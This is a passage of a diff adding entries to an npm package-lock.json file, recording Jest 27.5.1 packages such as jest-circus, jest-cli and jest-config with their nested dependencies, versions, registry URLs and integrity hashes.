+      "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+      "dependencies": {
+        "has-flag": "^4.0.0"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/jest-circus": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/jest-circus/-/jest-circus-27.5.1.tgz",
+      "integrity": "sha512-D95R7x5UtlMA5iBYsOHFFbMD/GVA4R/Kdq15f7xYWUfWHBto9NYRsOvnSauTgdF+ogCpJ4tyKOXhUifxS65gdw==",
+      "dependencies": {
+        "@jest/environment": "^27.5.1",
+        "@jest/test-result": "^27.5.1",
+        "@jest/types": "^27.5.1",
+        "@types/node": "*",
+        "chalk": "^4.0.0",
+        "co": "^4.6.0",
+        "dedent": "^0.7.0",
+        "expect": "^27.5.1",
+        "is-generator-fn": "^2.0.0",
+        "jest-each": "^27.5.1",
+        "jest-matcher-utils": "^27.5.1",
+        "jest-message-util": "^27.5.1",
+        "jest-runtime": "^27.5.1",
+        "jest-snapshot": "^27.5.1",
+        "jest-util": "^27.5.1",
+        "pretty-format": "^27.5.1",
+        "slash": "^3.0.0",
+        "stack-utils": "^2.0.3",
+        "throat": "^6.0.1"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-circus/node_modules/@jest/types": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
+      "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
+      "dependencies": {
+        "@types/istanbul-lib-coverage": "^2.0.0",
+        "@types/istanbul-reports": "^3.0.0",
+        "@types/node": "*",
+        "@types/yargs": "^16.0.0",
+        "chalk": "^4.0.0"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-circus/node_modules/@types/istanbul-reports": {
+      "version": "3.0.1",
+      "resolved": "https://registry.npmjs.org/@types/istanbul-reports/-/istanbul-reports-3.0.1.tgz",
+      "integrity": "sha512-c3mAZEuK0lvBp8tmuL74XRKn1+y2dcwOUpH7x4WrF6gk1GIgiluDRgMYQtw2OFcBvAJWlt6ASU3tSqxp0Uu0Aw==",
+      "dependencies": {
+        "@types/istanbul-lib-report": "*"
+      }
+    },
+    "node_modules/jest-circus/node_modules/@types/yargs": {
+      "version": "16.0.4",
+      "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.4.tgz",
+      "integrity": "sha512-T8Yc9wt/5LbJyCaLiHPReJa0kApcIgJ7Bn735GjItUfh08Z1pJvu8QZqb9s+mMvKV6WUQRV7K2R46YbjMXTTJw==",
+      "dependencies": {
+        "@types/yargs-parser": "*"
+      }
+    },
+    "node_modules/jest-circus/node_modules/ansi-regex": {
+      "version": "5.0.1",
+      "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz",
+      "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/jest-circus/node_modules/ansi-styles": {
+      "version": "4.3.0",
+      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
+      "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
+      "dependencies": {
+        "color-convert": "^2.0.1"
+      },
+      "engines": {
+        "node": ">=8"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/ansi-styles?sponsor=1"
+      }
+    },
+    "node_modules/jest-circus/node_modules/chalk": {
+      "version": "4.1.2",
+      "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
+      "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
+      "dependencies": {
+        "ansi-styles": "^4.1.0",
+        "supports-color": "^7.1.0"
+      },
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/chalk?sponsor=1"
+      }
+    },
+    "node_modules/jest-circus/node_modules/color-convert": {
+      "version": "2.0.1",
+      "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
+      "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
+      "dependencies": {
+        "color-name": "~1.1.4"
+      },
+      "engines": {
+        "node": ">=7.0.0"
+      }
+    },
+    "node_modules/jest-circus/node_modules/color-name": {
+      "version": "1.1.4",
+      "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
+      "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
+    },
+    "node_modules/jest-circus/node_modules/diff-sequences": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/diff-sequences/-/diff-sequences-27.5.1.tgz",
+      "integrity": "sha512-k1gCAXAsNgLwEL+Y8Wvl+M6oEFj5bgazfZULpS5CneoPPXRaCCW7dm+q21Ky2VEE5X+VeRDBVg1Pcvvsr4TtNQ==",
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-circus/node_modules/has-flag": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
+      "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/jest-circus/node_modules/jest-diff": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/jest-diff/-/jest-diff-27.5.1.tgz",
+      "integrity": "sha512-m0NvkX55LDt9T4mctTEgnZk3fmEg3NRYutvMPWM/0iPnkFj2wIeF45O1718cMSOFO1vINkqmxqD8vE37uTEbqw==",
+      "dependencies": {
+        "chalk": "^4.0.0",
+        "diff-sequences": "^27.5.1",
+        "jest-get-type": "^27.5.1",
+        "pretty-format": "^27.5.1"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-circus/node_modules/jest-get-type": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/jest-get-type/-/jest-get-type-27.5.1.tgz",
+      "integrity": "sha512-2KY95ksYSaK7DMBWQn6dQz3kqAf3BB64y2udeG+hv4KfSOb9qwcYQstTJc1KCbsix+wLZWZYN8t7nwX3GOBLRw==",
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-circus/node_modules/jest-matcher-utils": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/jest-matcher-utils/-/jest-matcher-utils-27.5.1.tgz",
+      "integrity": "sha512-z2uTx/T6LBaCoNWNFWwChLBKYxTMcGBRjAt+2SbP929/Fflb9aa5LGma654Rz8z9HLxsrUaYzxE9T/EFIL/PAw==",
+      "dependencies": {
+        "chalk": "^4.0.0",
+        "jest-diff": "^27.5.1",
+        "jest-get-type": "^27.5.1",
+        "pretty-format": "^27.5.1"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-circus/node_modules/pretty-format": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-27.5.1.tgz",
+      "integrity": "sha512-Qb1gy5OrP5+zDf2Bvnzdl3jsTf1qXVMazbvCoKhtKqVs4/YK4ozX4gKQJJVyNe+cajNPn0KoC0MC3FUmaHWEmQ==",
+      "dependencies": {
+        "ansi-regex": "^5.0.1",
+        "ansi-styles": "^5.0.0",
+        "react-is": "^17.0.1"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-circus/node_modules/pretty-format/node_modules/ansi-styles": {
+      "version": "5.2.0",
+      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-5.2.0.tgz",
+      "integrity": "sha512-Cxwpt2SfTzTtXcfOlzGEee8O+c+MmUgGrNiBcXnuWxuFJHe6a5Hz7qwhwe5OgaSYI0IJvkLqWX1ASG+cJOkEiA==",
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/ansi-styles?sponsor=1"
+      }
+    },
+    "node_modules/jest-circus/node_modules/react-is": {
+      "version": "17.0.2",
+      "resolved": "https://registry.npmjs.org/react-is/-/react-is-17.0.2.tgz",
+      "integrity": "sha512-w2GsyukL62IJnlaff/nRegPQR94C/XXamvMWmSHRJ4y7Ts/4ocGRmTHvOs8PSE6pB3dWOrD/nueuU5sduBsQ4w=="
+    },
+    "node_modules/jest-circus/node_modules/supports-color": {
+      "version": "7.2.0",
+      "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+      "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+      "dependencies": {
+        "has-flag": "^4.0.0"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/jest-cli": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/jest-cli/-/jest-cli-27.5.1.tgz",
+      "integrity": "sha512-Hc6HOOwYq4/74/c62dEE3r5elx8wjYqxY0r0G/nFrLDPMFRu6RA/u8qINOIkvhxG7mMQ5EJsOGfRpI8L6eFUVw==",
+      "dependencies": {
+        "@jest/core": "^27.5.1",
+        "@jest/test-result": "^27.5.1",
+        "@jest/types": "^27.5.1",
+        "chalk": "^4.0.0",
+        "exit": "^0.1.2",
+        "graceful-fs": "^4.2.9",
+        "import-local": "^3.0.2",
+        "jest-config": "^27.5.1",
+        "jest-util": "^27.5.1",
+        "jest-validate": "^27.5.1",
+        "prompts": "^2.0.1",
+        "yargs": "^16.2.0"
+      },
+      "bin": {
+        "jest": "bin/jest.js"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      },
+      "peerDependencies": {
+        "node-notifier": "^8.0.1 || ^9.0.0 || ^10.0.0"
+      },
+      "peerDependenciesMeta": {
+        "node-notifier": {
+          "optional": true
+        }
+      }
+    },
+    "node_modules/jest-cli/node_modules/@jest/types": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
+      "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
+      "dependencies": {
+        "@types/istanbul-lib-coverage": "^2.0.0",
+        "@types/istanbul-reports": "^3.0.0",
+        "@types/node": "*",
+        "@types/yargs": "^16.0.0",
+        "chalk": "^4.0.0"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-cli/node_modules/@types/istanbul-reports": {
+      "version": "3.0.1",
+      "resolved": "https://registry.npmjs.org/@types/istanbul-reports/-/istanbul-reports-3.0.1.tgz",
+      "integrity": "sha512-c3mAZEuK0lvBp8tmuL74XRKn1+y2dcwOUpH7x4WrF6gk1GIgiluDRgMYQtw2OFcBvAJWlt6ASU3tSqxp0Uu0Aw==",
+      "dependencies": {
+        "@types/istanbul-lib-report": "*"
+      }
+    },
+    "node_modules/jest-cli/node_modules/@types/yargs": {
+      "version": "16.0.4",
+      "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.4.tgz",
+      "integrity": "sha512-T8Yc9wt/5LbJyCaLiHPReJa0kApcIgJ7Bn735GjItUfh08Z1pJvu8QZqb9s+mMvKV6WUQRV7K2R46YbjMXTTJw==",
+      "dependencies": {
+        "@types/yargs-parser": "*"
+      }
+    },
+    "node_modules/jest-cli/node_modules/ansi-styles": {
+      "version": "4.3.0",
+      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
+      "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
+      "dependencies": {
+        "color-convert": "^2.0.1"
+      },
+      "engines": {
+        "node": ">=8"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/ansi-styles?sponsor=1"
+      }
+    },
+    "node_modules/jest-cli/node_modules/chalk": {
+      "version": "4.1.2",
+      "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
+      "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
+      "dependencies": {
+        "ansi-styles": "^4.1.0",
+        "supports-color": "^7.1.0"
+      },
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/chalk?sponsor=1"
+      }
+    },
+    "node_modules/jest-cli/node_modules/color-convert": {
+      "version": "2.0.1",
+      "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
+      "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
+      "dependencies": {
+        "color-name": "~1.1.4"
+      },
+      "engines": {
+        "node": ">=7.0.0"
+      }
+    },
+    "node_modules/jest-cli/node_modules/color-name": {
+      "version": "1.1.4",
+      "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
+      "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
+    },
+    "node_modules/jest-cli/node_modules/has-flag": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
+      "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/jest-cli/node_modules/supports-color": {
+      "version": "7.2.0",
+      "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+      "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+      "dependencies": {
+        "has-flag": "^4.0.0"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/jest-config": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/jest-config/-/jest-config-27.5.1.tgz",
+      "integrity": "sha512-5sAsjm6tGdsVbW9ahcChPAFCk4IlkQUknH5AvKjuLTSlcO/wCZKyFdn7Rg0EkC+OGgWODEy2hDpWB1PgzH0JNA==",
+      "dependencies": {
+        "@babel/core": "^7.8.0",
+        "@jest/test-sequencer": "^27.5.1",
+        "@jest/types": "^27.5.1",
+        "babel-jest": "^27.5.1",
+        "chalk": "^4.0.0",
+        "ci-info": "^3.2.0",
+        "deepmerge": "^4.2.2",
+        "glob": "^7.1.1",
+        "graceful-fs": "^4.2.9",
+        "jest-circus": "^27.5.1",
+        "jest-environment-jsdom": "^27.5.1",
+        "jest-environment-node": "^27.5.1",
+        "jest-get-type": "^27.5.1",
+        "jest-jasmine2": "^27.5.1",
+        "jest-regex-util": "^27.5.1",
+        "jest-resolve": "^27.5.1",
+        "jest-runner": "^27.5.1",
+        "jest-util": "^27.5.1",
+        "jest-validate": "^27.5.1",
+        "micromatch": "^4.0.4",
+        "parse-json": "^5.2.0",
+        "pretty-format": "^27.5.1",
+        "slash": "^3.0.0",
+        "strip-json-comments": "^3.1.1"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      },
+      "peerDependencies": {
+        "ts-node": ">=9.0.0"
+      },
+      "peerDependenciesMeta": {
+        "ts-node": {
+          "optional": true
+        }
+      }
+    },
+    "node_modules/jest-config/node_modules/@jest/types": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
+      "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
+      "dependencies": {
+        "@types/istanbul-lib-coverage": "^2.0.0",
+        "@types/istanbul-reports": "^3.0.0",
+        "@types/node": "*",
+        "@types/yargs": "^16.0.0",
+        "chalk": "^4.0.0"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-config/node_modules/@types/istanbul-reports": {
+      "version": "3.0.1",
+      "resolved": "https://registry.npmjs.org/@types/istanbul-reports/-/istanbul-reports-3.0.1.tgz",
+      "integrity": "sha512-c3mAZEuK0lvBp8tmuL74XRKn1+y2dcwOUpH7x4WrF6gk1GIgiluDRgMYQtw2OFcBvAJWlt6ASU3tSqxp0Uu0Aw==",
+      "dependencies": {
+        "@types/istanbul-lib-report": "*"
+      }
+    },
+    "node_modules/jest-config/node_modules/@types/yargs": {
+      "version": "16.0.4",
+      "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.4.tgz",
+      "integrity": "sha512-T8Yc9wt/5LbJyCaLiHPReJa0kApcIgJ7Bn735GjItUfh08Z1pJvu8QZqb9s+mMvKV6WUQRV7K2R46YbjMXTTJw==",
+      "dependencies": {
+        "@types/yargs-parser": "*"
+      }
+    },
+    "node_modules/jest-config/node_modules/ansi-regex": {
+      "version": "5.0.1",
+      "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz",
+      "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/jest-config/node_modules/ansi-styles": {
+      "version": "4.3.0",
+      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
+      "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
+      "dependencies": {
+        "color-convert": "^2.0.1"
+      },
+      "engines": {
+        "node": ">=8"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/ansi-styles?sponsor=1"
+      }
+    },
+    "node_modules/jest-config/node_modules/chalk": {
+      "version": "4.1.2",
+      "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
+      "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
+      "dependencies": {
+        "ansi-styles": "^4.1.0",
+        "supports-color": "^7.1.0"
+      },
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/chalk?sponsor=1"
+      }
+    },
+    "node_modules/jest-config/node_modules/color-convert": {
+      "version": "2.0.1",
+      "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
+      "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
+      "dependencies": {
+        "color-name": "~1.1.4"
+      },
+      "engines": {
+        "node": ">=7.0.0"
+      }
+    },
+    "node_modules/jest-config/node_modules/color-name": {
+      "version": "1.1.4",
+      "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
+      "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
+    },
+    "node_modules/jest-config/node_modules/has-flag": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
+      "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/jest-config/node_modules/jest-get-type": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/jest-get-type/-/jest-get-type-27.5.1.tgz",
+      "integrity": "sha512-2KY95ksYSaK7DMBWQn6dQz3kqAf3BB64y2udeG+hv4KfSOb9qwcYQstTJc1KCbsix+wLZWZYN8t7nwX3GOBLRw==",
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-config/node_modules/pretty-format": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-27.5.1.tgz",
+      "integrity": "sha512-Qb1gy5OrP5+zDf2Bvnzdl3jsTf1qXVMazbvCoKhtKqVs4/YK4ozX4gKQJJVyNe+cajNPn0KoC0MC3FUmaHWEmQ==",
+      "dependencies": {
+        "ansi-regex": "^5.0.1",
+        "ansi-styles": "^5.0.0",
+        "react-is": "^17.0.1"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-config/node_modules/pretty-format/node_modules/ansi-styles": {
+      "version": "5.2.0",
+      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-5.2.0.tgz",
+      "integrity": "sha512-Cxwpt2SfTzTtXcfOlzGEee8O+c+MmUgGrNiBcXnuWxuFJHe6a5Hz7qwhwe5OgaSYI0IJvkLqWX1ASG+cJOkEiA==",
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/ansi-styles?sponsor=1"
+      }
+    },
+    "node_modules/jest-config/node_modules/react-is": {
+      "version": "17.0.2",
+      "resolved": "https://registry.npmjs.org/react-is/-/react-is-17.0.2.tgz",
+      "integrity": "sha512-w2GsyukL62IJnlaff/nRegPQR94C/XXamvMWmSHRJ4y7Ts/4ocGRmTHvOs8PSE6pB3dWOrD/nueuU5sduBsQ4w=="
+    },
+    "node_modules/jest-config/node_modules/supports-color": {
+      "version": "7.2.0",
+      "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+      "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+      "dependencies": {
+        "has-flag": "^4.0.0"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/jest-diff": {
+      "version": "24.9.0",
+      "resolved": "https://registry.npmjs.org/jest-diff/-/jest-diff-24.9.0.tgz",
+      "integrity": "sha512-qMfrTs8AdJE2iqrTp0hzh7kTd2PQWrsFyj9tORoKmu32xjPjeE4NyjVRDz8ybYwqS2ik8N4hsIpiVTyFeo2lBQ==",
+      "dependencies": {
+        "chalk": "^2.0.1",
+        "diff-sequences": "^24.9.0",
+        "jest-get-type": "^24.9.0",
+        "pretty-format": "^24.9.0"
+      },
+      "engines": {
+        "node": ">= 6"
+      }
+    },
+    "node_modules/jest-docblock": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/jest-docblock/-/jest-docblock-27.5.1.tgz",
+      "integrity": "sha512-rl7hlABeTsRYxKiUfpHrQrG4e2obOiTQWfMEH3PxPjOtdsfLQO4ReWSZaQ7DETm4xu07rl4q/h4zcKXyU0/OzQ==",
+      "dependencies": {
+        "detect-newline": "^3.0.0"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-each": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/jest-each/-/jest-each-27.5.1.tgz",
+      "integrity": "sha512-1Ff6p+FbhT/bXQnEouYy00bkNSY7OUpfIcmdl8vZ31A1UUaurOLPA8a8BbJOF2RDUElwJhmeaV7LnagI+5UwNQ==",
+      "dependencies": {
+        "@jest/types": "^27.5.1",
+        "chalk": "^4.0.0",
+        "jest-get-type": "^27.5.1",
+        "jest-util": "^27.5.1",
+        "pretty-format": "^27.5.1"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-each/node_modules/@jest/types": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
+      "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
+      "dependencies": {
+        "@types/istanbul-lib-coverage": "^2.0.0",
+        "@types/istanbul-reports": "^3.0.0",
+        "@types/node": "*",
+        "@types/yargs": "^16.0.0",
+        "chalk": "^4.0.0"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-each/node_modules/@types/istanbul-reports": {
+      "version": "3.0.1",
+      "resolved": "https://registry.npmjs.org/@types/istanbul-reports/-/istanbul-reports-3.0.1.tgz",
+      "integrity": "sha512-c3mAZEuK0lvBp8tmuL74XRKn1+y2dcwOUpH7x4WrF6gk1GIgiluDRgMYQtw2OFcBvAJWlt6ASU3tSqxp0Uu0Aw==",
+      "dependencies": {
+        "@types/istanbul-lib-report": "*"
+      }
+    },
+    "node_modules/jest-each/node_modules/@types/yargs": {
+      "version": "16.0.4",
+      "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.4.tgz",
+      "integrity": "sha512-T8Yc9wt/5LbJyCaLiHPReJa0kApcIgJ7Bn735GjItUfh08Z1pJvu8QZqb9s+mMvKV6WUQRV7K2R46YbjMXTTJw==",
+      "dependencies": {
+        "@types/yargs-parser": "*"
+      }
+    },
+    "node_modules/jest-each/node_modules/ansi-regex": {
+      "version": "5.0.1",
+      "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz",
+      "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/jest-each/node_modules/ansi-styles": {
+      "version": "4.3.0",
+      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
+      "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
+      "dependencies": {
+        "color-convert": "^2.0.1"
+      },
+      "engines": {
+        "node": ">=8"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/ansi-styles?sponsor=1"
+      }
+    },
+    "node_modules/jest-each/node_modules/chalk": {
+      "version": "4.1.2",
+      "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
+      "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
+      "dependencies": {
+        "ansi-styles": "^4.1.0",
+        "supports-color": "^7.1.0"
+      },
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/chalk?sponsor=1"
+      }
+    },
+    "node_modules/jest-each/node_modules/color-convert": {
+      "version": "2.0.1",
+      "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
+      "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
+      "dependencies": {
+        "color-name": "~1.1.4"
+      },
+      "engines": {
+        "node": ">=7.0.0"
+      }
+    },
+    "node_modules/jest-each/node_modules/color-name": {
+      "version": "1.1.4",
+      "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
+      "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
